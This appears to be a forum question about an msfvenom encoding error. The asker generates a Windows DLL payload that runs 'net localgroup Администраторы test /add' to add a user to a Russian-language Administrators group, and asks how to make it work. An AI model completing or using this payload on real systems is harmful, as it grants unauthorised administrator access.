msfvenom incompatible character encodings error

I try to create payload for adding user to local administrators group, but the server language is Russian so I should add my local user to Администраторы group.

When I try to create payload using msfvenom command, I got an error about:

Error: incompatible character encodings: ASCII-8BIT and UTF-8..

My msfvenom command to generate payload is:

msfvenom -p windows/exec CMD="net localgroup Администраторы test /add" -f dll > testadmin.dll

How can I resolve this problem and add my local user to administrators group?

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